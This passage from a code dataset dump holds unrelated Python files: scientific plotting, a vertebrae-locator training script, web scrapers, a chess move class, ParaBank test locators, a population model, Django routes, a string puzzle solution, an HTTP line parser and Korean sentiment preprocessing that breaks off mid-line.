linear_model\n\nascendingAorta = np.loadtxt('/home/ryandenny/Documents/phd/1Dnektar/examples/Rabbit/1/Rabbit_1.his')\nrightRenal = np.loadtxt('/home/ryandenny/Documents/phd/1Dnektar/examples/Rabbit/1/Rabbit_29.his')\nthoracic = np.loadtxt('/home/ryandenny/Documents/phd/1Dnektar/examples/Rabbit/1/Rabbit_15.his')\n\nvariable = 2\nvariable2 = 1\nT = 0.322580645161290\nstart = 10*T\nend = 12*T\n\nt = ascendingAorta[:, 0]\nuA = ascendingAorta[:, variable]\nuR = rightRenal[:: 2, variable]\nuR2 = rightRenal[1:: 2, variable]\npA = ascendingAorta[:, variable2]\npR = rightRenal[:: 2, variable2]\npR2 = rightRenal[1:: 2, variable2]\nA = ascendingAorta[:, 4]\nAR = rightRenal[:: 2, 4]\nuT = thoracic[:, variable]\nAT = thoracic[:, 4]\n\nD = np.sqrt(4*AT / np.sqrt(np.pi))\n\n\n# REGRESSION\n\n#start = 0\n#end = 50\n#\n#lnD = np.log(D)[start: end]\n#uA2 = uT[start: end]\n#\n#df = pd.DataFrame(lnD, columns = ['lnD'])\n#target = pd.DataFrame(uA2, columns = ['Velocity'])\n#\n#X = df\n#Y = target['Velocity']\n#\n#lm = linear_model.LinearRegression()\n#model = lm.fit(X, Y)\n#predictions = lm.predict(X)\n#c = 0.5*lm.coef_\n\n# CHECKING LAG\n\nlag = (np.argmax(uR) - np.argmax(uA))*t[0]\n\n#plt.plot(lnD, uA2)\n#plt.show()\n\nplt.plot(t, uA, color = 'blue', label = 'Aorta')\nplt.plot(t, uR, color = 'red', label = 'Right Renal (start)')\nplt.plot(t, uR2, color = 'yellow', label = 'Right Renal (midway)')\nplt.ylabel('Velocity [m/s]', FontSize = 18)\nplt.xlabel('Time [s]', FontSize = 18)\nplt.legend(fontsize = 18)\nplt.xlim([start, end])\nplt.show()\n\n#plt.plot(t, pA, color = 'blue', label = 'Aorta')\n#plt.plot(t, pR, color = 'red', label = 'Right Renal (start)')\n#plt.plot(t, pR2, color = 'yellow', label = 'Right Renal (midway)')\n#plt.ylabel('Pressure [Pa]', FontSize = 18)\n#plt.xlabel('Time [s]', FontSize = 18)\n#plt.legend(fontsize = 18)\n#plt.xlim([start, end])\n#plt.show()\n","sub_path":"nektar++/rabbit.py","file_name":"rabbit.py","file_ext":"py","file_size_in_byte":1910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"384581633","text":"\"\"\"\nScript for training vertebrae locator, w/ DSNT & L1 loss\n\"\"\"\n\nimport cv2\n\nimport torch\nfrom torch.utils.data import DataLoader\n\nimport albumentations as A\nfrom albumentations.pytorch.transforms import ToTensor\nimport segmentation_models_pytorch as smp\n\nfrom utils.customDataset_v2 import LabelDataset, k_fold_splitter\nfrom argparse import ArgumentParser\nimport utils.LabellerTL as ltl\n\n\n\ntorch.autograd.set_detect_anomaly(True)\n# *Declare Paths + variables \nparser = ArgumentParser(prog='Run vertebral body segmenter inference')\nparser.add_argument(\n '--root_dir', help='Root path containing all folds', type=str)\nparser.add_argument(\n '--output_dir', help='Directory to save model + model predictions during inference', type=str)\nparser.add_argument(\n '--fold', help='Fold used for !testing! all others used for training', type=int)\nparser.add_argument('--mode', help='training/inference',\n type=str, default='inference')\nargs = parser.parse_args()\n\nbatch_size=4\nn_outputs = 13\nlearning_rate = 3e-3\nnum_epochs = 500\nclassifier=True\nnorm_coords=True\nearly_stopping=True\nremove_invisible=True\n\nENCODER = 'resnet34'\nENCODER_WEIGHTS = 'imagenet'\n\ndef main():\n #~Pre-processing + training \n # ** Create albumentation transforms - train + val + test\n train_transforms = A.Compose([#A.HorizontalFlip(p=0.5),\n A.ShiftScaleRotate(scale_limit=0.2, rotate_limit=20,\n shift_limit=0.3, p=1, border_mode=0),\n #A.GaussNoise(var_limit=0.025, p=0.5, per_channel=False),\n #A.Perspective(p=0.5),\n A.RandomCrop(height=342, width=512, p=0.5),\n A.Resize(height=512, width=512)\n ], \n keypoint_params=A.KeypointParams(format=('yx'), label_fields=[\n 'labels'], remove_invisible=remove_invisible),\n additional_targets={'heatmap': 'mask'})\n\n valid_transforms = A.Compose([A.Resize(height=512, width=512)],\n keypoint_params=A.KeypointParams(\n format='yx', remove_invisible=remove_invisible, label_fields=['labels']),\n additional_targets={'heatmap': 'mask'})\n\n test_transforms = A.Compose([A.Resize(height=512, width=512)],\n keypoint_params=A.KeypointParams(format='yx', remove_invisible=remove_invisible, label_fields=['labels']), \n additional_targets={'heatmap': 'mask'})\n\n #** Pre-processing functions\n pre_processing_fn = smp.encoders.get_preprocessing_fn(\n ENCODER, ENCODER_WEIGHTS)\n\n splitter = k_fold_splitter(\n args.root_dir, args.fold, args.mode, num_folds=4)\n \n if args.mode == 'Training':\n #~ Training + val loops\n train, test = splitter.split_data()\n # ** Create Dataset for training\n train_dataset = LabelDataset(\n *train, pre_processing_fn=pre_processing_fn,\n transforms=train_transforms, normalise=True, classifier=classifier, \n norm_coords=norm_coords)\n valid_dataset = LabelDataset(\n *test, pre_processing_fn=pre_processing_fn,transforms=valid_transforms, \n normalise=True, classifier=classifier, norm_coords=norm_coords)\n # ** Convert to Dataloaders\n train_generator = DataLoader(train_dataset, batch_size=batch_size)\n valid_generator = DataLoader(valid_dataset, batch_size=batch_size)\n\n model = ltl.Labeller(training=train_generator, validation=valid_generator, testing=None,\n dir_name='exp1', n_outputs=14, output_path=args.output_dir, \n classifier=classifier, norm_coords=norm_coords, early_stopping=early_stopping)\n model.forward(model_name='labeller.pt',\n num_epochs=num_epochs)\n #model.train(epoch=0)\n #model.validation(epoch=0)\n\n elif args.mode == 'Inference':\n #~ Model inference loop\n images, targets = splitter.split_data()\n #* Create dataset for inference\n test_dataset = LabelDataset(\n images, targets, pre_processing_fn=pre_processing_fn,\n transforms=test_transforms, normalise=True, classifier=classifier, norm_coords=norm_coords)\n #** Convert to dataloader\n test_generator = DataLoader(test_dataset, batch_size=1)\n model = ltl.Labeller(training=None, validation=None, testing=test_generator,\n dir_name='exp1', n_outputs=14, output_path=args.output_dir, \n classifier=classifier, norm_coords=norm_coords)\n model.inference(model_name='labeller.pt',\n plot_output=True, save_preds=True)\n\n else:\n raise ValueError(\n \"Unspecificied mode, should be one of 'Training, Inference'\")\n torch.cuda.empty_cache()\n \nif __name__ == '__main__':\n main()\n","sub_path":".ipynb_checkpoints/LABELLER-checkpoint.py","file_name":"LABELLER-checkpoint.py","file_ext":"py","file_size_in_byte":4895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"425135630","text":"# coding=utf-8\nimport scrapy\nimport re\nfrom scrapy.selector import Selector\nfrom scrapper.util.extractor import Extractor\nfrom scrapper.util.structure import Structure\n\n\nclass NederwoonSpider(scrapy.Spider):\n name = 'nederwoonspider'\n allowed_domains = [\"www.nederwoon.nl\"]\n\n def __init__(self, queryRegion='amersfoort'):\n self.region = queryRegion.title()\n self.start_urls = ['http://www.nederwoon.nl/huurwoningen/{0}'.format(queryRegion)]\n\n def parse(self, response):\n pageSelector = Selector(response)\n objects = pageSelector.css('.location')\n objects.extract()\n\n for index, object in enumerate(objects):\n objectUrl = Extractor.url(response, object, 'h2.heading-sm > a')\n yield scrapy.Request(objectUrl, self.parse_object)\n\n def parse_object(self, response):\n street = Extractor.string(response, 'h1.text-regular')\n city = Extractor.string(response, '.col-md-8 .fixed-lh p.color-medium')\n availability = Extractor.string(response, '.col-md-8 .horizontal-items ul li:last-child')\n\n # Sometimes Nederwoon mistakenly adds the zip code in the city field, filter it out\n city = re.sub('\\d{4}?\\s*[a-zA-Z]{2}', '', city).replace(' ', '')\n\n rooms = Extractor.string(\n Structure.find_in_definition(response, '.table-striped.table-specs td', 'Aantal kamers')\n )\n price = Extractor.euro(\n Structure.find_in_definition(response, '.table-striped.table-specs td', 'Totale huur per maand', 2)\n )\n volume = Extractor.volume(\n Structure.find_in_definition(response, '.table-striped.table-specs td', 'Woonoppervlakte')\n )\n type = Extractor.string(\n Structure.find_in_definition(response, '.table-striped.table-specs td', 'Soort woonruimte')\n )\n\n yield {\n 'street': street,\n 'city': city,\n 'region': self.region,\n 'volume': volume,\n 'rooms': rooms,\n 'availability': availability,\n 'type': type,\n 'pricePerMonth': price,\n 'reference': Extractor.urlWithoutQueryString(response),\n 'estateAgent': 'NederWoon'\n }\n","sub_path":"scrapper/spider/nederwoon.py","file_name":"nederwoon.py","file_ext":"py","file_size_in_byte":2230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"652634807","text":"class Move:\n\n def __init__(self, piece, new_pos, piece_to_capture=None):\n self.notation = None\n self.check = False\n self.checkmate = False\n self.kingsideCastle = False\n self.queensideCastle = False\n self.promotion = False\n self.pessant = False\n self.stalemate = False\n\n self.piece = piece\n self.old_pos = piece.position\n self.new_pos = new_pos\n self.piece_to_capture = piece_to_capture\n # For en pessant and castling\n self.specialMovePiece = None\n # For castling\n self.rookMove = None\n\n def __str__(self):\n displayString = 'Old pos : ' + str(self.old_pos) + \\\n ' -- New pos : ' + str(self.new_pos)\n if self.notation:\n displayString += ' Notation : ' + self.notation\n if self.pessant:\n displayString = 'Old pos : ' + str(self.old_pos) + \\\n ' -- New pos : ' + str(self.new_pos) + \\\n ' -- Pawn taken : ' + str(self.specialMovePiece)\n displayString += ' PESSANT'\n return displayString\n\n def __eq__(self, other):\n if self.old_pos == other.old_pos and \\\n self.new_pos == other.new_pos and \\\n self.specialMovePiece == other.specialMovePiece:\n if not self.specialMovePiece:\n return True\n if self.specialMovePiece and \\\n self.specialMovePiece == other.specialMovePiece:\n return True\n else:\n return False\n else:\n return False\n\n def __hash__(self):\n return hash((self.old_pos, self.new_pos))\n\n def reverse(self):\n return Move(self.piece, self.piece.position,\n piece_to_capture=self.piece_to_capture)\n","sub_path":"Move.py","file_name":"Move.py","file_ext":"py","file_size_in_byte":1824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"287927507","text":"from __future__ import unicode_literals\n\n# ParaBank locators\nPARABANK_TITLE = \"//img[@title='ParaBank']\"\nUSERNAME_INPUT = \"name=username\"\nPASSWORD_INPUT = \"name=password\"\nLOGIN_BUTTON = \"//input[@value='Log In']\"\n\nACCOUNTS_TITLE = \"//h1[text()='Accounts Overview']\"\n\n# Locators for New Account\nNEW_ACCOUNT_LINK = \"//ul/li/a[text()='Open New Account']\"\nNEW_ACCOUNT_TITLE = \"//h1[text()='Open New Account']\"\nACCOUNT_TYPE_SELECTOR = \"//select[@id='type']\"\nACCOUNT_SAVINGS_BUTTON = \"//select/option[@value=1]\"\nNEW_ACCOUNT_BUTTON = \"//input[@type='submit']\"\nACCOUNT_OPENED_TITLE = \"//h1[text()='Account Opened!']\"\n\n# Validate New Account\nNEW_ACCOUNT_ID = \"id = newAccountId\"\nACCOUNTS_OVERVIEW_LINK = \"//ul/li/a[text()='Accounts Overview']\"\nACCOUNT_DETAILS_TITLE = \"//h1[text()='Account Details']\"\nACCOUNT_TYPE_SAVINGS = \"//td[text()='SAVINGS']\"\n\n# Requesting Loan\nLOAN_LINK = \"//ul/li/a[text()='Request Loan']\"\nREQUEST_LOAN_TITLE = \"//h1[text()]\"\nLOAN_AMOUNT_INPUT = \"//*[@id='amount']\"\nDOWN_PAYMENT_INPUT = \"//*[@id='downPayment']\"\nAPPLY_LOAN_BUTTON = \"//input[@type='submit']\"\nLOAN_ACCEPTED_TITLE = \"//h1[text()]\"\n# Request loan succsessfully\nLOAN_APPROVED_TEXT = \"//td[text()='Approved']\"\n# Request loan fail\nLOAN_FAIL_TEXT = \"//td[text()='Denied']\"\n\n# Transferring funds\nTRANSFER_FUNDS_LINK = \"//ul/li/a[text()='Transfer Funds']\"\nTRANSFER_FUNDS_TITLE = \"//h1[text()='Transfer Funds']\"\nTRANSFER_AMOUNT = \"//input[@id='amount']\"\nTRANSFER_FROM_SELECTOR = \"//select[@id='fromAccountId']\"\n# TRANSFER_FROM_ID = \"\"\nTRANSFER_TO_SELECTOR = \"//select[@id='toAccountId']\"\nTRANSFER_BUTTON = \"//input[@type='submit']\"\nFUNDS_TRANSFERED_TITLE = \"//h1[text()='Transfer Complete!']\"\n\n# Pay bills\nBILL_PAY_LINK = \"//ul/li/a[text()='Bill Pay']\"\n\n# Create a new banking customer / Update customer info\nREGISTER_LINK = \"//p/a[text()='Register']\"\nSIGNING_UP_TITLE = \"//h1[text()='Signing up is easy!']\"\nCUSTOMER_FIRST_NAME = \"id=customer.firstName\"\nCUSTOMER_LAST_NAME = \"id=customer.lastName\"\nCUSTOMER_ADDRESS = \"id=customer.address.street\"\nCUSTOMER_CITY = \"id=customer.address.city\"\nCUSTOMER_STATE = \"id=customer.address.state\"\nCUSTOMER_ZIPCODE = \"id=customer.address.zipCode\"\nCUSTOMER_PHONE = \"id=customer.phoneNumber\"\nCUSTOMER_SSN = \"id=customer.ssn\"\nCUSTOMER_USERNAME = \"id=customer.username\"\nCUSTOMER_PASSWORD = \"id=customer.password\"\nCUSTOMER_CONFIRM = \"id=repeatedPassword\"\nCREATE_USER_BUTTON = \"//td/input[@value='Register']\"\nUSER_CREATED_TITLE = \"//h1[text()]\"\n\nUPDATE_INFO_LINK = \"//ul/li/a[text()='Update Contact Info']\"\nUPDATE_PROFILE_TITLE = \"//h1[text()='Update Profile']\"\nUPDATE_USER_BUTTON = \"//td/input[@value='Update Profile']\"\nUSER_UPDATED_TITLE = \"//h1[text()='Profile Updated']\"\n\n# Bill payee data\nBILL_PAY_TITLE = \"//h1[text()='Bill Payment Service']\"\nPAYEE_NAME = \"name=payee.name\"\nPAYEE_ADDRESS = \"name=payee.address.street\"\nPAYEE_CITY = \"name=payee.address.city\"\nPAYEE_STATE = \"name=payee.address.state\"\nPAYEE_ZIPCODE = \"name=payee.address.zipCode\"\nPAYEE_PHONE = \"name=payee.phoneNumber\"\nPAYEE_ACCOUNT = \"name=payee.accountNumber\"\nCONFIRM_ACCOUNT = \"name=verifyAccount\"\nPAY_AMOUNT = \"name=amount\"\n\nSEND_PAYMENT_BUTTON = \"//td/input[@value='Send Payment']\"\nPAYMENT_SENT_TITLE = \"//h1[text()]\"\n\n# Find transactions\nFIND_TRANSACTIONS_LINK = \"//ul/li/a[text()='Find Transactions']\"\nFIND_TRANSACTION_TITLE = \"//h1[text()='Find Transactions']\"\nFIND_ACCOUNT_SELECTOR = \"//div/select\"\n\nAMOUNT_CRITERIA_INPUT = \"//input[@id='criteria.amount']\"\nFIND_BY_AMOUNT_BUTTON = \"//form/div[9]/button\"\nTRANSACTION_TO_FIND_BY_AMOUNT = \"//td/span[text()='$50.00']\"\n\nDATE_CRITERIA_INPUT = \"//input[@id='criteria.onDate']\"\nFIND_BY_DATE_BUTTON = \"//form/div[5]/button\"\n\nDATE_FROM_RANGE_CRITERIA_INPUT = \"//input[@id='criteria.fromDate']\"\nDATE_TO_RANGE_CRITERIA_INPUT = \"//input[@id='criteria.toDate']\"\nFIND_BY_DATE_RANGE_BUTTON = \"//form/div[7]/button\"\n\nID_CRITERIA_INPUT = \"//input[@id='criteria.transactionId']\"\nFIND_BY_ID_BUTTON = \"//form/div[3]/button\"\nTRANSACTION_TO_FIND_BY_ID = \"//td/span[text()='$100.00']\"\n\n# Log out\nLOG_OUT_LINK = \"//ul/li/a[text()='Log Out']\"\n\nERROR_MESSAGE_TEXT = \"class=error\"\n\n# ParaBank error messages\nERROR_MESSAGE_1 = \"The username and password could not be verified.\"","sub_path":"locators/locators.py","file_name":"locators.py","file_ext":"py","file_size_in_byte":4179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"68834564","text":"# A subgroup is a section of the population with the same fertility and mortality rates\n# In the context of this study, it will be something like \"people who have rejected life extension\"\n# or \"people who get rejuvination therapy once at age 40\"\nfrom copy import deepcopy\nfrom visualization import graphs\nfrom models.tables import *\nimport matplotlib.pyplot as plt\n\n\nclass Subgroup():\n def __init__(self, percentage_of_total, sex_ratio_at_birth=1.05):\n self.percentage_of_total = percentage_of_total\n self.sex_ratio_at_birth = sex_ratio_at_birth\n self.current_year = None\n self.fertility_variant = None\n self._data = None\n\n def initialize_data(self, country_data, initial_year):\n # We'll copy over all the data to get the life tables and such\n self._data = deepcopy(country_data)\n for sex, data in country_data.items():\n # Population and Person-Years Lived after Age X must be scaled to percentage_of_total\n if \"N\" in data.keys():\n self._data[sex][\"N\"] = np.rint(data[\"N\"] * self.percentage_of_total)\n if \"Tx\" in data.keys():\n self._data[sex][\"Tx\"] = data[\"Tx\"] * self.percentage_of_total\n self.current_year = initial_year\n\n @property\n def data(self):\n return self._data\n\n @property\n def total_population(self):\n return self.male_population + self.female_population\n\n @property\n def male_population(self):\n return int(round(sum(self.data[\"Male\"][\"N\"])))\n\n @property\n def female_population(self):\n return int(round(sum(self.data[\"Female\"][\"N\"])))\n\n @property\n def oldest_age(self):\n # age is one less than the length\n return max(len(self.data[\"Male\"][\"N\"]), len(self.data[\"Female\"][\"N\"])) - 1\n\n @property\n def oldest_person_year_age(self):\n # age is one less than the length\n return max(len(self.data[\"Male\"][\"Lx\"]), len(self.data[\"Female\"][\"Lx\"])) - 1\n\n def get_fx(self, variant, year):\n # Returns the fertility rate for the given variant and year\n # If year is further in the future than any fertility rate,\n # just return the last one (from 2100, if using the UN data)\n return self.data[\"Female\"][\"Fx\"][variant].get(year, self.data[\"Female\"][\"Fx\"][variant][max(self.data[\"Female\"][\"Fx\"][variant].keys())])\n\n @property\n def fertility_range(self):\n # find the indices of the first non-zero value and the last non-zero value\n Fx = self.get_fx(self.fertility_variant, self.current_year)\n\n young = 0\n old = max_age = len(Fx) - 1\n for age, fertility in enumerate(Fx):\n if fertility > 0.0:\n young = age\n break\n for n, fertility in enumerate(Fx[::-1]):\n if fertility > 0.0:\n old = max_age - n\n break\n return young, old\n\n def advance_one_year(self):\n newborn_males = self.calculate_newborns(\"Male\")\n newborn_females = self.calculate_newborns(\"Female\")\n\n # \"older\" population is everyone who is 1 year old or above\n older_male_population = self.calculate_middle_population(\"Male\")\n older_female_population = self.calculate_middle_population(\"Female\")\n\n # put the newborn population into the population array\n next_year_male_population = np.insert(older_male_population, 0, newborn_males)\n next_year_female_population = np.insert(older_female_population, 0, newborn_females)\n\n # update values\n self.data[\"Male\"][\"N\"] = next_year_male_population\n self.data[\"Female\"][\"N\"] = next_year_female_population\n self.current_year += 1\n\n def calculate_middle_population(self, sex):\n # use the regular formula\n # if it runs out of life table data, just use the last available values\n # essentially, if anyone lives to an age that's past what's available in the life table,\n # we give them the mortality of the last age group\n next_year_population = np.array([])\n\n # stop at self.oldest_age + 2 because we want one year past the current oldest age, and stop is exclusive\n for age in range(1, self.oldest_age + 2):\n previous_population = self.data[sex][\"N\"][age - 1]\n try:\n person_years_x = self.data[sex][\"Lx\"][age]\n person_years_x_minus_1 = self.data[sex][\"Lx\"][age - 1]\n except IndexError:\n person_years_x = self.data[sex][\"Lx\"][self.oldest_person_year_age]\n person_years_x_minus_1 = self.data[sex][\"Lx\"][self.oldest_person_year_age - 1]\n\n population = previous_population * person_years_x / person_years_x_minus_1\n next_year_population = np.append(next_year_population, population)\n\n return next_year_population\n\n def calculate_newborns(self, sex):\n # not all babies survive their first year :(\n # so we take the number of births and adjust that number downward to get the number of 0-year-olds\n births = self.calculate_births(sex)\n person_years = self.data[sex][\"Lx\"][0]\n initial_population = self.data[sex][\"lx\"][0]\n return births * person_years / initial_population\n\n def calculate_births(self, sex):\n if sex == \"Male\":\n return self.calculate_total_births() * self.sex_ratio_at_birth / (1 + self.sex_ratio_at_birth)\n else:\n return self.calculate_total_births() / (1 + self.sex_ratio_at_birth)\n\n def calculate_total_births(self):\n births = 0\n alpha, beta = self.fertility_range\n # Add one to beta so we get the entire range inclusively\n for age in range(alpha, beta + 1):\n # age is from 15 to 49\n fx = self.get_fx(self.fertility_variant, self.current_year)[age]\n n_x = self.data[\"Female\"][\"N\"][age]\n n_x_minus_1 = self.data[\"Female\"][\"N\"][age - 1]\n person_years_x = self.data[\"Female\"][\"Lx\"][age]\n person_years_x_minus_1 = self.data[\"Female\"][\"Lx\"][age - 1]\n\n births += int(round(0.5 * fx * (n_x + n_x_minus_1 * person_years_x / person_years_x_minus_1)))\n return births\n\n def get_gompertz_and_hybrid_mx(self, sex, a, r, alpha, max_age, splice_age):\n # splice_age is the first age that gets its mortality from the Gompertz-derived rates\n gompertz_mx = get_mx(a, r, alpha, max_age + 1)\n # To merge the gompertz-derived mortalities with the natural ones, we'll take the minimum value of the two\n # after the splice age. This is valid ONLY because the study aims to model what decreasing mortality will\n # do to the world\n hybrid_mx = self.data[sex][\"mx\"][:splice_age]\n end_age = len(self.data[sex][\"mx\"]) - 1\n for age in range(splice_age, end_age):\n hybrid_mx = np.append(hybrid_mx, min(gompertz_mx[age], self.data[sex][\"mx\"][age]))\n for age in range(end_age, len(gompertz_mx)):\n hybrid_mx = np.append(hybrid_mx, gompertz_mx[age])\n return gompertz_mx, hybrid_mx\n\n def set_gompertz_life_table(self, sex, a, r, alpha, max_age, splice_age):\n gompertz_mx, hybrid_mx = self.get_gompertz_and_hybrid_mx(sex, a, r, alpha, max_age, splice_age)\n start_lx = self.data[sex][\"lx\"][splice_age]\n\n # create_life_table_from_mx expects a number of years, but max_age is one more than that in this case\n lx, Lx, _ = create_life_table_from_mx(hybrid_mx, sex, max_age - 1, start_lx)\n self.update_life_table_metric(\"mx\", sex, hybrid_mx, age=0)\n self.update_life_table_metric(\"lx\", sex, lx, age=0)\n self.update_life_table_metric(\"Lx\", sex, Lx, age=0)\n\n # Tx has to be recalculated with the new hybrid Lx\n # increment max_age to get total number of years\n Tx = get_Tx(self.data[sex][\"Lx\"], max_age + 1)\n self.update_life_table_metric(\"Tx\", sex, Tx, age=0)\n\n def update_life_table_metric(self, metric, sex, new_values, age=0):\n # A typical use for this is to use true mortality for ages 0-40 and then generate mortality rates with the\n # Gompertz equation for ages 41 and above, in order to experiment with various life extension scenarios\n # metric: which thing to replace (\"Lx\", \"N\", \"Tx\", etc.)\n # new_values: numpy array that overwrites the current values\n # age - index in current array to start replacing at\n front = self._data[sex][metric][:age].copy()\n new_array = np.concatenate((front, new_values))\n self._data[sex][metric] = new_array\n\n def remove_population(self, male_percentage, female_percentage):\n # always round down the number of people to be removed so we never end up with negative people\n males_to_remove = np.floor(self.data[\"Male\"][\"N\"] * male_percentage)\n females_to_remove = np.floor(self.data[\"Female\"][\"N\"] * female_percentage)\n self.data[\"Male\"][\"N\"] -= males_to_remove\n self.data[\"Female\"][\"N\"] -= females_to_remove\n # return the number that we removed from this group so that they can be added to another\n return males_to_remove, females_to_remove\n\n def add_population(self, new_males, new_females):\n self.add_population_one_sex(new_males, \"Male\")\n self.add_population_one_sex(new_females, \"Female\")\n\n def add_population_one_sex(self, new_population, sex):\n # adds two arrays together, even if they arrays have different dimensions\n # we have to make a copy of new_population because of some pass-by-reference shenanigans in numpy\n c = new_population.copy()\n if len(c) < len(self.data[sex][\"N\"]):\n c.resize(self.data[sex][\"N\"].shape)\n else:\n self.data[sex][\"N\"].resize(c.shape)\n self.data[sex][\"N\"] += c\n\n def graph_population(self, save_as=None):\n # Creates a population pyramid graph and displays it\n # If save_as is provided, the graph will be saved to disk as a PNG instead\n graphs.create_population_pyramid(self.data[\"Female\"][\"N\"], self.data[\"Male\"][\"N\"],\n \"subgroup population\", image_filename=save_as)\n\n def graph_mortality(self, sex, a, r, alpha, max_age, splice_age):\n hybrid_mx, gompertz_mx = self.get_gompertz_and_hybrid_mx(sex, a, r, alpha, max_age, splice_age)\n\n current_mx = self.data[sex][\"mx\"]\n\n x_axis = [n for n in range(len(current_mx))]\n\n plt.plot(x_axis, current_mx, 'r--', x_axis, hybrid_mx[:len(current_mx)], 'bs', x_axis,\n gompertz_mx[:len(current_mx)], 'g^')\n plt.axis([0, 101, 0, 0.05])\n plt.show()\n\n @staticmethod\n def graph_metric(data):\n x_axis = [age for age, val in enumerate(data)]\n plt.plot(x_axis, data, 'g^')\n plt.show()","sub_path":"models/subgroup.py","file_name":"subgroup.py","file_ext":"py","file_size_in_byte":10815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"166346270","text":"# coding:utf-8\nimport scrapy\n\n\nclass NewsSpider(scrapy.Spider):\n\tname = 'news'\n\tstart_urls = ['http://www.zaobao.com/special/report/politic/fincrisis/']\n\n\tdef parse(self, response):\n\t\tfor href in response.css('.l_title a::attr(href)'):\n\t\t\tfull_url = response.urljoin(href.extract())\n\t\t\tyield scrapy.Request(full_url, callback=self.parse_question)\n\n\tdef parse_question(self, response):\n\t\tyield {\n\t\t\t'title': response.css('h1::text').extract_first(),\n\t\t\t'data': response.css('.time::text').extract_first(),\n\t\t\t'body': response.css('.a_body p::text').extract(),\n\t\t\t'link': response.url,\n\t\t}\n\n'''\n注意extract()和extract_first()的使用区别,\nresponse.css('.a_body p::text').extract()返回的是区间内的所有文本内容,\nresponse.css('.a_body p::text').extract_first()返回的则是区间内的第一条文本内容。\n'''\n","sub_path":"news_spider.py","file_name":"news_spider.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"427586797","text":"from django.conf.urls import patterns, include, url\n\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n url(r'^$', 'stories.views.index', name='index'),\n url(r'^submissions/recent$', 'stories.views.recent_submissions', name='recent_submissions'),\n url(r'^submissions/$', 'stories.views.popular_submissions', name='popular_submissions'),\n url(r'^about/$', 'stories.views.about_page', name='about_page'),\n url(r'^admin/', include(admin.site.urls)),\n\n (r'^s/', include('stories.urls', namespace=\"s\")),\n)\n","sub_path":"typequoting/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"77935068","text":"class Solution(object):\n\tdef convert(self, s, numRows):\n\t\t\"\"\"\n\t\t:type s: str\n\t\t:type numRows: int\n\t\t:rtype: str\n\t\t\"\"\"\n\t\tif numRows == 1:\n\t\t\treturn s\n\t\tlength, circle, ans = len(s), (numRows - 1) * 2, ''\n\t\tfor i in range(numRows):\n\t\t\tif i == 0 or i == numRows - 1:\n\t\t\t\trow = ''.join([s[j] for j in range(length) if j % circle == i])\n\t\t\telse:\n\t\t\t\trow = ''.join([s[j] for j in range(length) if j % circle == i or j % circle == circle - i])\n\t\t\tans += row\n\t\treturn ans\n\nif __name__ == '__main__':\n\ts = Solution()\n\tprint(s.convert(\"ABCD\", 3))\n","sub_path":"Python/006. ZigZag Conversion.py","file_name":"006. ZigZag Conversion.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"299586229","text":"\n#!/usr/bin/env python\nimport re\nimport sys\n\ndef get_lines( message ):\n error_code = 0\n line = 0\n prom = \"\"\n lines = []\n strlen = len( message )\n for i in range( 0, strlen ):\n prom += message[i]\n if message[i] == '\\n':\n lines.append(prom)\n prom = \"\"\n line += 1\n pattern = re.compile(\"^(HEAD|GET|POST|OPTIONS|PUT|DELETE|TRACE|CONNECT).(\\/.*)\\ (HTTP.*)$\")\n if not pattern.match(lines[0]):\n error_code = 1\n\n return lines, error_code\n\ndef get_main_params(line):\n strlen = len(line)\n params = []\n prom = \"\"\n for i in range( 0, strlen ):\n if line[i] == \" \" or line[i] == \"\\r\":\n params.append(prom)\n prom = \"\"\n else:\n prom += line[i]\n\n return params[0], params[1], params[2]\n","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"646929643","text":"from konlpy.tag import Okt\r\nimport json\r\nimport os\r\nfrom pprint import pprint\r\nimport nltk\r\nimport numpy as np\r\nfrom keras import models, layers, optimizers, losses, metrics\r\nimport matplotlib.pyplot as plt\r\nfrom elasticsearch import Elasticsearch, helpers\r\nplt.rcParams['font.family'] = 'Malgun Gothic'\r\n\r\n\r\ndef read_data(filename):\r\n with open(filename, 'r', encoding='UTF8') as f:\r\n data = [line.split('\\t') for line in f.read().splitlines()]\r\n # txt 파일의 헤더(id document label)는 제외하기\r\n data = data[1:]\r\n return data\r\n\r\ntrain_data = read_data('input_data/ratings_train.txt')\r\ntest_data = read_data('input_data/ratings_test.txt')\r\n\r\nprint(len(train_data))\r\nprint(len(train_data[0]))\r\nprint(len(test_data))\r\nprint(len(test_data[0]))\r\n\r\n# 1) morphs : 형태소 추출\r\n# 2) pos : 품사 부착(Part-of-speech tagging)\r\n# 3) nouns : 명사 추출\r\nokt = Okt()\r\nprint(okt.pos(u'이 밤 그날의 반딧불을 당신의 창 가까이 보낼게요'))\r\n\r\ndef tokenize(doc):\r\n # norm은 정규화, stem은 근어로 표시하기를 나타냄\r\n return ['/'.join(t) for t in okt.pos(doc, norm=True, stem=True)]\r\n\r\nif os.path.isfile('train_docs.json'):\r\n with open('train_docs.json', encoding='UTF8') as f:\r\n train_docs = json.load(f)\r\n with open('test_docs.json', encoding='UTF8') as f:\r\n test_docs = json.load(f)\r\nelse:\r\n train_docs = [(tokenize(row[1]), row[2]) for row in train_data]\r\n test_docs = [(tokenize(row[1]), row[2]) for row in test_data]\r\n # JSON 파일로 저장\r\n with open('train_docs.json', 'w', encoding=\"utf-8\") as make_file:\r\n json.dump(train_docs, make_file, ensure_ascii=False, indent=\"\\t\")\r\n with open('test_docs.json', 'w', 